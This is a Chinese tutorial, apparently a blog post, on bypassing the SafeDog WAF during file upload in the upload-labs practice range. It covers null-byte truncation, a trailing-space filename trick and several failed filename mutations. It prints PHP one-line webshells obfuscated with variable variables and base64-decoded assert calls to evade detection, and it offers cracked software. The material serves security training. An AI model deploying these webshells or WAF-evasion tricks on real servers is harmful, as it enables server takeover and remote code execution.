文件上传基础篇:
upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析
首先去官网下载安全狗,进行网站配置,或者后台回复【安全狗】,靶场源码和waf软件都准备好了,都是最新版本的,直接下载就行
image-20240719140734087
image-20240718104030558
安全狗配置文件防护规则
image-20240718103951676
这里用**「upload-labs」**中的第六关进行文件上传测试
image-20240720125729066
第六关是在文件后缀添加一个空格就可以上传成功
image-20240718112107859
waf环境已搭好
image-20240718110902299
基于文件名称的绕过
首先上传一个php文件,抓包文件后面添加;.jpg
image-20240718152245564
将;
的**「hex编码」替换为00,「造成00截断」**,如下效果
❝
知识扩展
%00截断是一种在文件上传或URL处理过程中常见的安全绕过技术,它利用了某些编程语言或系统在处理字符串时的一个特性:即当遇到空字符(null character,ASCII码为0,即\0
或%00
在URL编码中)时,会认为字符串已经结束,从而忽略了空字符之后的所有内容。❞
7月18日
可以看到,虽然绕过了**「waf」**还是有代码红色警告没有上传成功,这个时候我们就可以在原来有代码漏洞的情况下,进行绕过,原来代码存在空格绕过,这里我们就用空格进行绕过,添加一个空格
image-20240718162542359
上传成功,点击查看源码,就可以看到文件上传的位置(这个图片的位置)
image-20240718162636761
多个等号
这个操作就更简单了,直接在文件名的位置把**「一个等于」换成「多个等于」,也能绕过WAF,此时再在「末尾加空格」**,直接成功上传,如下
image-20240720135548593
哈哈,没有成功,原文是这样写的,可能已经修复了
image-20240720135621668
此时我们访问,这个php文件被拦截了,这就是**「基于内容的拦截」,像经常使用的「一句话木马」**都会被安全狗绕过
image-20240718162708072
这里要用到**「hackerbox谷歌插件」**或者使用火狐浏览器,默认下载不是破解的,我准备好了破解版本,后台私信【hackbox】即可
<?php
$a = $_GET['x'];
$$a = $_GET['y'];
$b($_POST['z']);//调用 $b 变量所引用的函数,并将 $_POST['z'] 的值作为参数传递给它。
?>
image-20240718171010670
我们所使用的一句话木马是市面上**「最为常见」的类型,因此几乎所有的WAF(Web应用防火墙)都能识别并拦截这段内容。这正是导致我们「上传后无法访问」**的根本原因。为了验证这一点,你可以尝试开启安全狗的木马扫描功能,看看它是否能被检测出来,从而判断其是否具备免杀能力。
image-20240718171355888
上图可以看到并没有检测到,用**「get方式」传如参数「x」和y,值分别为「b」和「assert*** ,再用」**POST方式*传如参数z,值为自己想执行的命令
image-20240718172741594
通过assert函数的base64编码后的拼接即可绕过,如下:
<?php
$e=base64_decode("hellow小羽网安");
$e($_POST['aa']);
?>
免杀情况
image-20240718173634220
我们将中文放在了后面,此时出现拦截
image-20240718175622965
我放在前面试试,还是拦截
image-20240718175552240
穿插进去,就可以了,不知道是什么原理,php特性、base64编码检测,还是安全狗防护机制,有大佬路过指教一下,谢谢你
image-20240718175858301
执行成功
上面的绕过方式不可避免都有一些问题,那就是传参时使用了敏感关键字,比如**phpinfo()**之类的,有一些防火墙就会检测传入的参数是否含有敏感内容(例如宝塔),那这时候我们怎么办呢?
我们可以把传参使用的敏感关键字变成其他编码格式,比如base64,再在一句话木马中对传入的参数先做一个解码操作,如下
在木马中添加解码操作
<?php
$e=base64_decode("YX小羽网安NzZ公众号XJ0");
$e(base64_decode($_POST['aa']));
?>
image-20240718192250481
这个时候我们就可以将phpinfo拿去base64进行加密
image-20240718192501792
这个时候就可以执行php代码了,绕过了关键字的检测
image-20240718192453335
「复写」
image-20240720140100835
失败
image-20240720140431290
「脏数据绕过」
image-20240720140121421
失败
image-20240720140334677
「修改为单引号」
image-20240720141030785
失败
image-20240720141130658
「去掉双引号」
image-20240720141224174
失败
image-20240720141247298
「.php放到引号的外面」
image-20240720141650023
上传成功,但是并没有这个php文件
image-20240720141633479
查看上传之后的文件,并不是php文件
image-20240720141852180
那不加后缀试试,显示文件内容,并没有执行
image-20240720141956246
所以使用蚁剑也连接不了
image-20240720142134501
「数据截断绕过-防匹配(; / 换行)」
image-20240720142300053
失败
image-20240720142319551
「参数多次」
失败
image-20240720142441707
本教程通过实际搭建环境,展示了文件上传中WAF的多种绕过技巧,包括%00截断、畸形传参木马、经典编码木马
等。尽管部分绕过方法因WAF更新而失效,但实验过程揭示了安全机制与绕过技术的博弈。通过不断尝试与创新,攻击者总能找到新的突破点,而防御方则需持续更新策略以应对新威胁。这强调了持续安全监测与加固的重要性。
文章参考:
https://blog.csdn.net/qq\_63844103/article/details/128021707
https://blog.csdn.net/weixin\_62808713/article/details/128875157
网安学习不迷路,欢迎各位大佬加入讨论